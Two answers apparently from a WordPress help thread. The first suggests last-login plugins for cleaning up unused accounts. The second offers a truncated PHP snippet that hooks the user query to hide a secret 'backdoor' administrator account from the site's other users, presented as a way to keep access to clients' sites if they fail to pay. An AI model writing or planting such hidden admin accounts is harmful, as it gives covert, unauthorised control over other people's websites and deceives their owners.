There’s several plugins in the directory that will track the last login time of your users, each with various options: http://wordpress.org/extend/plugins/search.php?q=last+login You could use one of those to track login times, and then delete unused accounts based on the information one of those plugins provides.
While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action(‘pre_user_query’,’sleeper_pre_user_query’); function sleeper_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘my_secret_admin_user’) { global $wpdb; $user_search->query_where = … Read more